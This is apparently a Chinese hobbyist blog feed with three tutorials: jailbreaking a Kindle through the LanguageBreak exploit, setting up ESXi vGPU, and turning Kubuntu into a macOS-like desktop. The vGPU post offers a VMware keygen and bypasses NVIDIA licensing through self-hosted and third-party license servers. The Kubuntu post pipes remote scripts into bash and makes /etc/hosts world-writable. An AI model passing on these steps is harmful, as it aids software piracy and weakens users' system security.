最新小红书上被种草了阅星瞳x4电子书,磁吸放在 iPhone Air 背面挺合适,群里晒了一下大家觉得屏幕有点小了看不下去了,群友(没名字✘)就把手里闲置的 Kindle(第八代)送给了我,因为官方系统实在是过于烂了,于是乎就有了这篇文章的折腾记录。
一开始拿到的设备固件为 Kindle 5.11.2 版本,不小心连了 WiFi 就自动升级成了 Kindle 5.16.2.1.1 版本了:
好在手里的这个设备目前官方最高的固定版本依然可以利用 LanguageBreak 切换语言实的漏洞实现越狱的,理论上其他 KS、KO 1/2/3、KV、Kindle 7/8/10/11、KPW 2/3/4/5 固件版本 <= 5.16.2.1.1 也可以使用本文的方法教程。
Kindle 最好打开飞行模式不要使用网络,备份好书籍资料,取消密码保护功能。
然后下载准备好如下的工具软件:
支持数据传输的 Micro USB 数据线,国光我这里是美团买了根品胜的(9元)
LanguageBreak:kindle <=5.16.2.1.1 越狱工具,下载地址:https://github.com/notmarek/LanguageBreak/releases
;enter_demo 然后按回车;# 常见的三种方式(可以都试试看)1. 双指轻点一下屏幕右下角,紧接着单指按下从右向左水平滑动一段距离。2. 双指同时点按住屏幕右下角,随后右边手指抬起,紧接着左边手指向左水平滑动一段距离。3. 双指同时点按住屏幕右下角,直接向左滑动一段距离。Kindle 搜索框中输入 ;demo 并按回车进入“演示菜单”界面,点击【导入内容】按钮,然后数据线连接电脑,将 LanguageBreak 文件夹下的内容拷贝到 Kindle 根目录(覆盖已存在文件):
然后电脑端弹出 Kindle,拔掉数据线,点击【完成】按钮重新进入“演示菜单”界面;
一旦屏幕出现“Kindle 按钮示意图”,立即用 USB 数据线将 Kindle 连到电脑;
再次将 LanguageBreak 文件夹中的四项内容拷贝到根目录,覆盖已存在文件(手速要快哦);
越狱后必须安装 LanguageBreak 专用热修复补丁修复一下,否则系统权限不够,后面哪怕安装了 KOReader 这类第三方程序也不能正常运行。
安装也很简单:
Update_hotfix_languagebreak-zh-Hans-CN.bin 拷贝放进 Kindle 根目录的 mrpackages 文件夹;log mrpi 然后回车原生系统只能通过「设置 → 更新您的 Kindle」安装官方固件,不能装第三方 .bin 插件。MRPI(MobileRead Package Installer) 是 Kindle 越狱后必备的插件安装器,专门用来安装 .bin 格式的 Kindle 插件 / 软件(比如 KUAL、KOReader)。
安全弹出,重启 Kindle
Kindle 原生系统只有看书、书城,如果越狱后安装了其他插件或者工具的话,默认是看不到的,所以需要 KUAL 来帮你显示、打开它们。
解压缩在文件夹中找到 Update_KUALBooklet_xxxxxxx_install.bin 文件,拷贝到 Kindle 根目录下的 mrpackages 文件夹
然后在 Kindle 搜索框中输入 ;log mrpi 点击回车;
成功安装 KUAL 后,我的图书馆中会出现一个名为 KUAL 的个人文档图标
正常情况下,安装成功的话,点开此图标回显示对应的菜单。
KOReader 是一款支持PDF、EPUB及其他多种格式的电子书阅读器应用,越狱必备插件。还支持直接开启 SSH、外挂字典、调整阅读样式渲染、字体设置等等,总之吊打 Kindle 原生系统使用体验了。
官方项目的下载地址为:https://github.com/koreader/koreader/releases
不用的版本应该使用不同的 KOReader 分支,可以问下AI 自己应该下载哪个版本分支,国光我手里的 Kindle 第八代下载的是 :koreader-kindlepw2-v2025.10.zip
第一次使用大家应该可以看到好几个选项,难免会好奇区别:
Tools:KOReader 工具子菜单(点击展开)
**/**:返回 KUAL 菜单
Kindle 默认拷贝文件需要 USB 数据线传输,操作体验很不优雅舒服,有了 KOReader 连接 WiFi 后可以直接开 SSH 服务器通过网络来进行传输会优雅很多。
顶部下滑打开菜单找到【设置】->【网络】->【SSH 服务器】即可开启配置 SSH 服务器相关信息:
后面就可以优雅的使用 SSH 进行文件网络传输了,kindle 根目录的物理路径为:/mnt/us:
KOReader 功能很强大,建议大家自己多多摸索看看,包括但不限于,设置自定义自定义、外挂字典查询、自定义排版样式、自定义顶部状态栏、底部状态栏等等,时间有限,国光这里不再赘述了,遇到不懂的就问 AI,相信大家可以很快上手 KOReader,溜了溜了,要睡觉了。
每天的工作难度虽然不高,但是却异常琐碎,完全没有自己的思考时间,导致我的博客已经很久没有更新了。这种日子到底还有多久?我到底能不能成为说唱歌手?
家里的服务器日常待机运行功耗 200 多 W,每个月电费要 100 多元,不充分利用一下服务器有点对不起它了,正好周末清了灰,从零开始重构一下服务器。

清灰过程还是比较解压的:
首先本次使用的是截止目前 (2025 年 09 月 01 日)最新的 ESXi 8.0 U3 系列,这也是我这种 E5 老平台和 Tesla P4 老显卡建议使用的最高版本:
因为下面的资源都是国光我真金白银付费购买的,所以不能免费直接分享,大家如果感兴趣的话,可以小黄鱼了解一下,价格肯定还是比较便宜划算的,也当时知识付费支持一下了,具体的资源如下:

不过大家财力有限的话,下面是免费赠送的资源,也挺实用的:

关注公众号回复:VM 注册机 即可免费获取:

有了注册机的话,要想顺利使用 vGPU 的话得确保你的许可证的产品不要太垃圾了,下面是国光的 ESXi 和 vCenter 使用的许可证情况:

NVIDIA 在 vGPU 17.x 系列中针对 VMware ESXi 平台停止了对 Pascal 架构(如 Tesla P4)的支持,仅保留对 16.x 系列的兼容。若需继续使用 P4 的 vGPU 功能,建议保持 16.x 版本驱动,本教程中使用的是 vGPU 16.10 驱动来演示。
要在 vSphere 平台上让虚拟机实现 NVIDIA GPU 的硬件加速(比如 vGPU 功能),必须先为 ESXi 主机安装 NVIDIA 官方 Host 驱动。这次我要安装的驱动包是
NVD_bootbank_NVD-VMware_ESXi_8.0.0_Driver_535.247.02-1OEM.800.1.0.20613240.vib为了避免安装驱动时影响正在运行的虚拟机,建议先把 ESXi 主机进入 维护模式,然开启 SSH 将 VIB 文件到 ESXi 主机的 tmp 目录下,通过 SSH 客户端(比如 PuTTY)连接到 ESXi 主机,执行以下命令安装驱动:
esxcli software vib install -v /tmp/NVD_bootbank_NVD-VMware_ESXi_8.0.0_Driver_535.247.02-1OEM.800.1.0.20613240.vib执行后,命令行会输出驱动验证、安装的进度日志。耐心等待片刻,直到看到「Installation completed successfully」(安装成功)的提示。
驱动安装后,必须重启 ESXi 主机 才能让驱动完全生效。主机重启后,再次通过 SSH 登录,执行以下命令查看驱动是否安装成功:
nvidia-smi
然后登录 vCenter 操作 ESXi 主机,图形设置为「直接共享」后点击确定,然后重启 ESXi 主机即可完成 vGPU Host 宿主机驱动的安装准备工作:

飞牛 OS 添加 PCI vGPU 设备:

先 SSH 连接切换到 root 准备安装所需依赖:
# 切换root权限sudo -i# 屏蔽nouveauecho "blacklist nouveau" >> /etc/modprobe.d/blacklist-nouveau.conf# 更新initramfsupdate-initramfs -u# 安装aptitude包管理工具apt update && apt install aptitude# 使用 aptitude 自动解决依赖冲突aptitude install build-essential dkms linux-headers-generic libglvnd-dev pkg-config -y# 清理缓存apt cleanapt autocleanrm -rf /var/lib/apt/lists/*apt update# 安**uild-essential dkms 等依赖包apt install build-essential dkms linux-headers-generic libglvnd-dev pkg-config -y# 重启飞牛reboot然后将 NVIDIA-Linux-x86_64-535.247.01-grid.run 这个 vGPU Guest 上传到飞牛 OS,同样命令行下开始编译安装:
# 给予驱动执行权限chmod +x NVIDIA-Linux-x86_64-535.247.01-grid.run# 安装NVIDIA GUEST驱动,一路回车直至安装完成 ./NVIDIA-Linux-x86_64-535.247.01-grid.run --dkms安装成功后使用命令验证一下:
nvidia-smi此时相册里面可以正常启用 GPU 计算:

飞牛影视也可以正常使用这个 Tesla P4 vGPU 进行加速转码:

因为 vGPU 我分配了 4GB 显存,使用资源管理来查看,发现可以正常看到显卡的占用率:

默认情况下我们使用的 vGPU 虽然是驱动了的,但是没有导入官方的证书,在后续使用上会被限制性能释放,首先使用命令行查看当前环境的证书情况:
nvidia-smi -q | grep -i "license" -A 5可以看到是未注册的:

原项目 FastAPI-DLS 需要自行创建证书较为繁琐,这里使用一个二次封装的免证书容器镜像来快速搭建:
sudo docker run -d --name vgpu_server -e DLS_URL=10.1.1.6 -e DLS_PORT=443 -p 9443:443 makedie/fastapi-dls借助 FastAPI-DLS 项目我们可以快速搭建 vGPU 证书服务器,如果大家的设备可以连接外网的话,下面国光也分享几个可用的 vGPU 证书服务器:
https://62.234.164.86:6443/-/readmehttps://101.201.101.132:10443/-/readmehttps://120.26.231.182:8443/-/readme也可以通过 docker 手动搭建服务器,需要先准备好自己 RSA 密钥对 于加密许可证信息,执行以下命令生成:
# 定义证书目录WORKING_DIR=/vol2/1000/内置存储/Docker/vGPU-Server/cert# 进入目录cd $WORKING_DIR# 生成符合官方要求的 SSL 证书(10年有效期)openssl req -x509 -nodes -days 3650 -newkey rsa:2048 -keyout $WORKING_DIR/webserver.key -out $WORKING_DIR/webserver.crt证书这里看着填写就行了,反正就是我们自己用,只要 FQDN 这里写实际 vGPU 服务器的地址就行:

使用飞牛自带的 Docker 可以很轻松的创建 vGPU 服务,下面是对应的 compose.yml 配置文件:
x-dls-variables: &dls-variables TZ: Asia/Shanghai # 中国时区 DLS_URL: 10.1.1.6 # 写你具体的 IP 地址 DLS_PORT: 443 LEASE_EXPIRE_DAYS: 3650 # 10年有效期 DATABASE: sqlite:////app/database/db.sqlite DEBUG: falseservices: dls: image: collinwebdesigns/fastapi-dls:latest restart: always environment: <<: *dls-variables ports: - "9443:443" # 9443 改成实际你映射的端口 volumes: - /vol2/1000/内置存储/Docker/vGPU-Server/cert:/app/cert # 前面换成你的证书路径 - dls-db:/app/databasevolumes: dls-db:
飞牛的 Docker 真方便无视国内的墙,很丝滑很快搭建成功:

有了证书服务器的话,下面使用飞牛 OS 来实际操作,拷贝并编辑配置文件:
# 拷贝配置cp /etc/nvidia/gridd.conf.template /etc/nvidia/gridd.conf# 编辑配置vim /etc/nvidia/gridd.conf手动修改 ServerPort 端口为实际你映射的端口:
ServerPort=9443然后直接导入这个授权证书吧:
# 切换 root 用户sudo -i# 导入client-tokenwget --no-check-certificate -O /etc/nvidia/ClientConfigToken/client_configuration_token_$(date '+%d-%m-%Y-%H-%M-%S').tok https://10.1.1.6:9443/-/client-token# 重启systemctl restart nvidia-griddsystemctl status nvidia-gridd重启服务器后验证一下授权证书的有效期:
nvidia-smi -q | grep -i "license" -A 5
使用飞牛影视对视频进行转码播放看看,可以看到 GPU 参与工作了:

资源管理器也可以看到显卡干活的痕迹:

好了到此本文就结束了,更多飞牛 GPU 解码的玩法等待大家自己去探索。
]]>别再羡慕人家 macOS 精美的界面了,Linux 同样也可以做到这么精致丝滑的交互体验,还在等什么!?赶紧让 Linux 作为你的主力系统吧~
国光我这一个月安装了很多个 Linux 发行版系统且都深度体验了一下,尝试过 Arch Linux 也试过 Kali Linux,桌面用过激进的 Hyprland 也用过传统的 GNOME,还有花里胡哨的 DDE,最终还是老老实实的选择了 Kubuntu 24.04:

为什么选择了 Kubuntu 24.04 主要有以下几个原因:
本次安装使用的是双系统方案,如果你的硬盘足够大的话,这也是国光比较推荐的方案,毕竟打游戏的话还得是 Windows 系统呀!
安装的时候建议先选择默认的【英文语言、】然后选择【正常模式】安装,毕竟我们是要当作主力系统来使用的:
磁盘这块是重点,如果你要是双系统的话,建议最好还是自己【手动划分磁盘分区】:
我的从 2TB 的硬盘划分出 800多GB 用来安装 Linux,具体的磁盘划分细节如下:
最后看下我总的设置细概览吧:

# 切换 root 用户sudo -i# 备份更新源mv /etc/apt/sources.list /etc/apt/sources.list.bak# 添加 Ubuntu 24.04 中科大源echo "deb https://mirrors.ustc.edu.cn/ubuntu/ noble main restricted universe multiverse" >> /etc/apt/sources.listecho "deb https://mirrors.ustc.edu.cn/ubuntu/ noble-security main restricted universe multiverse" >> /etc/apt/sources.listecho "deb https://mirrors.ustc.edu.cn/ubuntu/ noble-updates main restricted universe multiverse" >> /etc/apt/sources.listecho "deb https://mirrors.ustc.edu.cn/ubuntu/ noble-backports main restricted universe multiverse" >> /etc/apt/sources.list# 刷新一下看看速度apt update既然有更新源的话,安装一些 Geek 必备的工具吧:
# 经典必备sudo apt install curl wget git vim# netstat 网络外联分析sudo apt install net-tools# traceroute 链路追踪sudo apt install traceroute首先安装好中文语言环境相关的依赖包:
sudo apt install fcitx5-frontend-gtk2 fonts-arphic-ukai fonts-arphic-uming fonts-noto-cjk-extra language-pack-zh-hans libreoffice-help-zh-cn libreoffice-l10n-zh-cn然后将语言更改为:【简体中文】
更改完成后重启或者注销系统生效,手动添加 【Pinyin】输入法:

因为搜狗输入法官方目前还不支持 Fctix5 输入法框架,我们不能为了个输入法开倒车去安装 Fctix4 吧:

所以这里参考了这篇文章:fcitx5_customizer —— 一个让 Fcitx5 更符合简中用户使用习惯的优化脚本
只需要一条命令即可优化我们的 Fctix5 输入法:
# 在线运行并使用推荐配置curl -sSL https://www.debuggerx.com/fcitx5_customizer/fcitx5_customizer.sh | bash -s -- recommend大家可以根据自己的喜好来自行配置:
后续我们可以在设置里面自行更好输入法皮肤:
推荐使用简约大气的 Dracula 皮肤,这样配置后,我们自带的这个输入法已经变得很丝滑了,还要啥搜狗输入法呀!
我们手动编辑语言环境文件 ,确保都是中文状态:
sudo vim /etc/default/locale编辑后的内容如下:
LANG=zh_CN.UTF-8LC_ADDRESS=zh_CN.UTF-8LC_IDENTIFICATION=zh_CN.UTF-8LC_MEASUREMENT=zh_CN.UTF-8LC_MONETARY=zh_CN.UTF-8LC_NAME=zh_CN.UTF-8LC_NUMERIC=zh_CN.UTF-8LC_PAPER=zh_CN.UTF-8LC_TELEPHONE=zh_CN.UTF-8LC_TIME=zh_CN.UTF-8Kubuntu 24.04 自带的 KDE 5 默认使用的 X11 桌面协议,这个 X11 桌面协议真的是老古董来,源于上个世纪 80 年代,虽然目前兼容性还不错,但是时代变了。所以我们需要拥抱 wayland 协议,这样可以有更丝滑的桌面使用体验、更健全的触控板手势支持、更精美精致的 HiDPi 画面缩细节、更好的高分辨率高刷新率显示器的支持、更优雅高效的桌面运行工作效率……
话不多说,我们直接开始安装:
sudo apt install plasma-workspace-wayland安装好的话重启一下系统,再次登录的时候,登录界面左下角选择 Wayland 协议的桌面会话就可以了,这样你就可以体验到更加丝滑的 Linux 桌面体验了。
只是发现我们使用 wayland 协议的话,Fcitx 小企鹅输入法开始告警了:

那么根据提示设置一下:
注销或者重启后发现新的告警:
检测到设置了 GTK_IM_MODULE 和 QT_IM_MODULE 而且 Wayland 输入法前端正在正常工作。推荐不设置 GTK_IM_MODULE 和 QT_IM_MODULE 从而使用 Wayland 输入法前端。更多信息请参见 https://fcitx-im.org/wiki/Using_Fcitx_5_on_Wayland#KDE_Plasma根据官方的提示这是因为为了兼容 X11 协议应用,这个 Kubuntu 的环境变量全局里面自定义了这些值:
$ env |grep fcitxGTK_IM_MODULE=fcitxXMODIFIERS=@im=fcitxSDL_IM_MODULE=fcitxQT_IM_MODULE=fcitx而 Fcitx5 官方提醒是不需要设置这 3 个变量值的:
GTK_IM_MODULE & QT_IM_MODULE & SDL_IM_MODULE如果是在 XWayland 兼容模式下运行的应用,只需设置:
XMODIFIERS=@im=fcitx如果是 chromium/electron 这类应用,建议设置下面这些启动参数:
--enable-features=UseOzonePlatform --ozone-platform=wayland --enable-wayland-ime所以解决方法就是手动去取消这 3 各环境变量:
# 切换 root 用户sudo -i# 覆写 /etc/environment 环境变量echo "unset GTK_IM_MODULE" >> ~/.profileecho "unset QT_IM_MODULE" >> ~/.profileecho "unset SDL_IM_MODULE" >> ~/.profile这样就解决了 Wayland 告警了。
这样设置后原生对 wayland 支持友好的应用输入法应该都是工作在最佳状态的,比如 Firefox 火狐浏览器等,但是一些保守一点的应用, 输入法的光标和面板明显存在偏移,所以他们还是需要我们给他们设置一下变量的,比如正在编写本文的 Typora 应用,我们手动在应用程序菜单中找到 Typora 图标,然后右键点击【编辑应用程序】,向下图这样,手动把之前取消的环境变量单独给他加回去即可:
GTK_IM_MODULE=fcitx SDL_IM_MODULE=fcitx QT_IM_MODULE=fcitx
这样 Typora 的输入法也就可以工作在最佳状态了。
后续其他输入感觉怪怪的,有问题的应用都可以模仿这样来操作。
Linux 下的 fcitx5 输入法有常用的使用快捷键技巧如下:
| 快捷键组合 | 说明 |
|---|---|
| `空格 | 切换输入法 |
| 左 Shift | 临时切换输入法 |
但是有些网友可能发现,使用 左 Shift 临时切换输入法经常不工作,但有时候却正常工作,经过几天的使用国光总结发现如下规律:
在要输入的应用里面先手动使用 Ctrl + 空格 切换输入法后,就可以正常的使用 左 Shift 临时切换输入法了,后面的体验和 Windows 下是同样丝滑的。
工欲善其事,必先利其器,我们基本操作优化前先来学习一下 KDE5 默认的基础快捷键和触控板手势的使用:
KDE 也自带来很多高效的快捷键,下面记录分享一下国光我常用的键盘快捷键:
| 快捷键 | 说明 |
|---|---|
| Super(Windows 键) | 打开应用程序菜单栏 |
| F11 | 应用全屏 |
| Super + W 或者 鼠标左上角触发角 | 打开所有工作区视图 |
| Super + E | 打开文件管理器 |
| Super + L | 锁屏 |
| Ctrl + Alt + Del | 打开提出菜单 |
| Super + D 或者 Ctrl + F12 | 显示桌面 |
| Alt + Tab | 切换下一个窗口 |
| Alt + Shift + Tab | 切换上一个窗口 |
| Ctrl + Super + 左右方向键 | 左右切换工作区 |
| Alt + Space | 打开 KRunner 搜索框 |
| Ctrl + Alt + T | 打开默认终端 |
| Super + 方向键 | 上下左右移动窗口 |
| Alt + F4 | 关闭当前窗口 |
| Super + Pgup | 最大化窗口 |
| Super + Pgdn | 最小化窗口 |
| Super + 加号 | 局部画面放大镜 |
| Super + 减号 | 局部画面缩小镜 |
| PrtSc | 调用 Spectacle 全屏截图 |
| Super + PrtSc | 调用 Spectacle 当前窗口截图 |
| Shift + Super + PrtSc | 调用 Spectacle 选区域截图 |
作为笔记本用户,触控板手势也是必不可少,下面是 KDE5 的触控板基本手势:
| 触控板手势 | 说明 |
|---|---|
| 双指轻点 | 右键 |
| 双指滚动 | 页面上下滚动 |
| 三指左右滚动 | 切换工作区 |
| 四指左右滚动 | 切换工作区 |
| 四指上滑 | 打开所有工作区视图 |
| 四指下滑 | 当开当前工作区所有窗口视图 |
| 四指捏合 | 打开所有工作区和窗口视图 |
如果你是一个 macOS 资深用户,可以将鼠标和触控板也逐步像 macOS 工作方式靠齐:

触控板设置细节如下:
如果你的笔记本设备自带数字小键盘的花、话,建议在设置里开启数字小键盘:

【设置】-【输入设备】-【键盘】可以根据自己的喜好提高一下键盘光标的移动速度,这样敲很长的命令的时候,使用方向键移动光标会更加丝滑:
工欲善其事,必先利其器。在国内的环境,要像优雅的配置你的 Linux 系统的话,代理工具是必不可少的,所有就在基本配置后直接开了各代理配置的专题。
「Watt Toolkit」是一个开源跨平台免费且多功能 Steam 工具箱。表面上是个游戏加速器,实际上也可以代理 Github 等国外常见的网站了,官网地址为:https://steampp.net
官方的自动化安装脚本可以很方便的直接安装:
curl -sSL https://steampp.net/Install/Linux.sh | bash选择默认的路径创建对应的快捷方式:

手动给我们的 hosts 文件添加权限:
sudo chmod a+w /etc/hosts这样就可以直接启动加速了,原理是修改 hosts 文件:
但是实际上访问 Github 还是会发现提示证书相关存在问题:
我们参考官方的解决方法就可以了:Linux 证书导入教程
找到证书本地文件夹的位置:

直接导入到火狐浏览器即可:
这样即可使用火狐浏览器优雅的访问 Github 了吗:

官方项目地址:https://github.com/clash-verge-rev/clash-verge-rev
release 下载安装最新的 deb 包,使用 gdebi 安装即可:
# 直接使用 gdebi 安装sudo gdebi clash-verge_1.7.7_amd64.deb # 但是提醒了此软件包不可安装Dependency is not satisfiable: libwebkit2gtk-4.0-37根据官方文档发现,原来 Ubuntu 24.0 需要额外安装 libwebkit2gtk 和 libjavascriptcoregtk 依赖,根据架构下载对应版本并安装。
| 依赖 | 下载地址 |
|---|---|
libwebkit2gtk | libwebkit2gtk-4.0-37_2.43.3-1_amd64.deb |
libjavascriptcoregtk | libjavascriptcoregtk-4.0-18_2.43.3-1_amd64.deb |
sudo gdebi libjavascriptcoregtk-4.0-18_2.43.3-1_amd64.debsudo gdebi libwebkit2gtk-4.0-37_2.43.3-1_amd64.deb 后面如果遇到一些网络棘手的问题,可以尝试打开 Clash 的 Tun 模式,这样代理更简单透彻一点:
星火商店里面还保留着这个经典的老牌资源:spk://store/network/shadowsocks-electron
国光测试了 SSR 订阅链接正常解析工作,如果担心 Clash 暴露你的出口 IP 的话,大家不妨试试看这个:
Linux 下的命令行代理工具,也是内网渗透常用的工具:
sudo apt install proxychains4配置文件路径为:
sudo vim /etc/proxychains4.conf测试以下代理效果:
proxychains4 curl https://www.google.comKvantum 是一个高度可定制的开源主题引擎,专为基于 Qt 的应用程序设计。它允许用户通过 SVG(可缩放矢量图形)文件定义和应用复杂的主题,以改变应用程序的外观。
安装也比较简单:
sudo add-apt-repository ppa:papirus/papirussudo apt updatesudo apt install qt5-style-kvantum qt5-style-kvantum-l10n qt5-style-kvantum-themes因为 macOS Big Sur 后的外观样式基本上差不多,所有我们这次借助的是 WhiteSur-kde 项目,安装也很简单:
git clone https://github.com/vinceliuice/WhiteSur-kdecd WhiteSur-kde./install.sh然后在设置里面选择我们刚刚安装好的主题即可,国光为自己更偏好于暗黑色的主题:

这样基本上外观有个雏形了:
为了更逼真,我们需要安装 macOS 相关的图标主题,安装也比较简单:
git clone https://github.com/vinceliuice/WhiteSur-icon-themecd WhiteSur-icon-theme./install.sh 配置完成后在设置里面启用这个图标,这样整体效果已经很接近 macOS 了:
鼠标光标样式国光我比较推荐:Capitaine Cursors,其中 r4 版本是对高分辨率屏幕和 KDE 比较友好,所以为最终选择的是 capitaine-cursors-light-r4.tar.gz 版本的光标样式:
macOS 另一个外观特征就是 Dock 了,好在 KDE5 下有大名鼎鼎的 Latte Dock 可以使用,我们安装也比较简单:
sudo apt install latte-dock 但是安装好直接使用的话,各种细节还是差点意思:

然后右键 Latte Dock,选择【配置 Latte Dock】- 【布局编辑器】找到右下角【导入】-【从 KDE 在线商店导入】,本次使用的是和我们主题配套的 WhiteSur latte 外观样式:
整体的效果如下:
| 挂件名称 | 挂件说明 |
|---|---|
| Kpple Menu | 仿 macOS 的左上角下拉菜单 |
| Window Title Applet | 菜单栏显示窗口标题 |
| Control Centre | 仿 macOS 控制中心 |
| Launchpad Plasma | 仿 macOS 程序坞 |
| CatWalk | 猫猫跑步展示 CPU 的负载状态 |
| Power Monitor | 显示笔记本的电池的功耗 |
| Translator | 菜单栏翻译插件 |
| Fokus | 菜单栏番茄钟插件 |
| Thermal Monitor | 菜单栏温度监控 |
| Resources Monitor - fork | 数据可视化展示常用的性能数据 |
| Netspeed Widget | 菜单栏网络数据监控显示 |
| Latte SideBar Button | 召唤调出 latte dock 的侧边栏 |
| HTML Clock | HTML 风格的简约时钟 |
下面是更接近 macOS 的设置细节:
从 Github 下载 https://github.com/Prayag2/kde_controlcentre/releases/download/0.1.0/kde_controlcentre0.1.0.tar.gz 文件,然后使用命令行手动安装:
kpackagetool5 -i kde_controlcentre0.1.0.tar.gz 因为已经有其他的插件可以显示 CPU 占用率了,为了界面的简洁,我这里只推荐使用猫猫图标:
默认的这个可视化性能监控的字体太小了,建议我们自己单独设置大一点:

我们借助 Latte Dock 可以实现 macOS 侧边栏的类似效果。首先需要确保安装好【Latte SideBar Button】插件,这样才可以调出侧边栏。
首先编辑我们当前 Latte Dock 的配置,手动在【右侧】添加一个【两端对齐】的【空面板】:
鼠标找到我们刚刚添加的面板,右键【编辑面板】,类型保持为默认的【面板】然后先点亮【吸附于顶部】和【吸附于底部】,然后选择【自动隐藏侧边栏】,根据需要勾选一些自己喜好的选项:
这块国光的调教参数如下:
面板特效建议安装【Dash To Panel】任务指示装饰:
经过大量测试, 最终国光侧边面板布局顺序从上到下为:HTML Clock - 日历 - 性能监控数据
首先添加【HTML Clock】挂件,然后设置为图上显示比较齐全的布局,然后【启用此小程序的着色】:
接着下面我们添加一个系统自带的日历插件,日历不建议开启【启用此小程序的着色】:

最后下面添加小程序分组:
国光这里是分别在小程序分组里面拖入添加了:总 CPU 使用情况、内存使用情况和网络速度,不建议开启【启用此小程序的着色】,其他细节分别都是【折线图】,不勾选【显示标题】具体的传感器大家也可以根据自己的喜好来。
首先我们在应用程序风格里面选择【kvantum】:
接着打开【Kvantum管理器】先通过【变更/删除主题】选择 macOS 风格的【WhiteSurDark】主题,然后点击【应用此主题】:
接着在【配置当前主题】里能开的特效基本上都开满:
顶部菜单栏的整体布局从左到右的布局排列如下:
Kpple Menu - Window Title - 全局菜单 - 面板间隙 - 虚拟桌面切换器 - Fokus - Translator - CatWalk - Thermal Monitor - Power Monitor - Resources Monitor - fork - 网络速度 - Netspeed Widget - 系统托盘 - 剪贴板 - 音频音量 - 蓝牙 - 网络 - 电池和亮度 - 搜索 - Control Centre - 数字时钟 - Ltte SideBar Button
系统托盘国光我建议,能隐藏的都隐藏,我们需要什么可以单独添加到菜单栏里面,系统托盘就应该专职做好托盘相关的工作:

这个国光为建议,只要都可以接受,这些能开的都全开了:
其中窗口透明度要单独设置一下,这样整体虚化的颜值会更高一点:
默认情况下我这个笔记本(机械革命 无界 15X )的在 Linux 下是没有这个国产以太网卡驱动的,好在官网提供了驱动的下载链接:
驱动安装很简单,安装好编译驱动的依赖,然后直接执行脚本就行了:
# 切换 root 用户sudo -i# 执行驱动安装脚本./yt_nic_install.sh
Kubuntu 自带的 Spectacle 截图也还算不错,但是还算没有 Snipaste 强大和丝滑,唯一要注意的就是这个截图软件自带的快捷键很多和 KDE 桌面的快捷键冲突了,所以需要自己设置来避开:
在 Discover 商店里下载安装 【Piper】可以很方便的自定义管理我们的鼠标,这样侧键就可以完全利用起来了:

KDE 自带的应用分类不满足国庆,建议大家重新分类,我们可以借助 KDE 自带的【KDE 菜单编辑器】来实现应用的分类:
OpenSnitch 是一个 GNU/Linux 交互式应用程序防火墙,其灵感来自 Little Snitch。
# 安装守护进程sudo gdebi opensnitch_1.6.6-1_amd64.deb# 守护进程设置开机自启sudo systemctl enable --now opensnitch.service# 安装图形化界面sudo gdebi python3-opensnitch-ui_1.6.6-1_all.deb 这样所有应用程序流量你都可以了如指掌:

这种感觉才是真正 Linux 的感觉,所有流量我全都要搞清楚:
不必羡慕苹果的隔空投送生态,借助开源项目 localsend 我们也可以轻松实现,安装很简单,官网直接下载 deb 安装包即可:
sudo gdebi LocalSend-1.15.4-linux-x86-64.deb
官方项目的 Release 直接下载最新的 deb 包安装即可:
sudo gdebi code-server_4.93.1_amd64.deb默认的配置存放在:
cat ~/.config/code-server/config.yaml直接启动即可运行 Code Server:
code-server如果你真的打算使用 Linux 作为主力系统,且又不想开虚拟机运行一些必要的 exe,这个时候可以了解一下 CrossOver,默认会有十几天试用期,足够大家体验了:

如果真的用的习惯的话,可以考虑咸鱼上花 80多元买个正版激活码,如果买了激活码还是无法提示注册失败等原因的话,我们可以像下面这样手动去官网下载许可证文件,然后放到 CrossOver 下面这个目录即可:
/opt/cxoffice/etc
下面是通过 CrossOver 运行的 Audacity 和官方打包的 AppImage 版本对比,发现这个付费的 CrossOver 还是很值得的:
左边是付费的 CrossOver ,右边为官方打包的 AppImage 版本 ,可以看出来 CrossOver 的体验还是和 Windows 无限接近的,更加细腻。
下面列举一些在 CrossOver 下工作良好的软件截图:


默认的 bash shell 太素来,所有建议使用 zsh shell 环境,现在的 Kali Linux 默认 zsh shell 环境了,确实 zsh 支持的插件更丰富,更可以提高我们命令输入的效率。
# 安装 zshsudo apt install zsh# 更改默认shell为zshchsh -s /bin/zsh# 安装 oh-my-zshsh -c "$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)"注销或者重启后会生效 zsh 为默认的 shell
zsh 的经典插件推荐安装:
# 目录快速调整切换sudo apt install autojump# 自动建议提示接下来可能要输入的命令git clone https://github.com/zsh-users/zsh-autosuggestions $ZSH_CUSTOM/plugins/zsh-autosuggestions# 命令语法检测git clone https://github.com/zsh-users/zsh-syntax-highlighting $ZSH_CUSTOM/plugins/zsh-syntax-highlighting在 ~/.zshrc 中配置启用这些插件:
plugins=(git autojump zsh-autosuggestions zsh-syntax-highlighting)其他 ~/.zshrc 功能配置:
# 关掉 URL 反斜杠转义DISABLE_MAGIC_FUNCTIONS="true"# 禁用 on my zsh 自动更新zstyle ':omz:update' mode disabled细心的小伙伴肯定会发现我们切换到 root 发现依然是 bash shell,这对于强迫症来说就有点难受了。
我们也来给 root 用户配置一下 zsh shell,首先手动在 root 用户下将 zsh 设置为默认的 shell:
# 切换 rootsudo -i# 设置 root 用户默认 shell 为 zshchsh --shell /bin/zsh接着切换到普通用户,使用软连接,链接 我们普通用户 home下的的 zsh 配置:
sudo ln -s $HOME/.oh-my-zsh /root/.oh-my-zshsudo ln -s $HOME/.zshrc /root/.zshrc基本上没问题了,但是依然提示了一些警告信息:
在 ~/.zshrc 中添加配置即可关闭告警:
ZSH_DISABLE_COMPFIX="true"这样我们的 root 用户也可以丝滑的使用 zsh 啦:
为了下面我们花里胡哨的配置下的图标都正常显示,我们这里建议先提前把我们的终端配置好字体。
带图标字体下载地址:Nerd Fonts - Iconic font aggregator, glyphs/icons collection, & fonts patcher

其实下载第一个【0xProtoNerdFont 】字体效果就已经挺不错的了,当然大家可以自己尝试去体验看看更多其他的字体。
字体安装也比较简单,直接右键点击【安装】,安装为【系统字体】即可:
内置的方案是只读的不可编辑,所有我们需要自己创建一个自己的配置方案:

大家根据自己的喜好配置来就行了,我这里只强调配置一下我们上面刚刚安装好的字体:

本次使用我之前的项目来配置:https://github.com/sqlsec/fastfetch
Fastfetch 是一个类似 neofetch 的工具,用于获取系统信息并漂亮地显示它。它主要用 C 语言编写,并考虑了性能和可定制性。本项目是一个 Fastfetch 轮子,主要是集成了宝可梦显示和其他系列的恶搞图片,目前只在 Linux 和 macOS 平台下测试过。
首先安装 Fastfetch
sudo add-apt-repository ppa:zhangsongcui3371/fastfetchsudo apt updatesudo apt install fastfetch然后安装终端下的宝可梦:
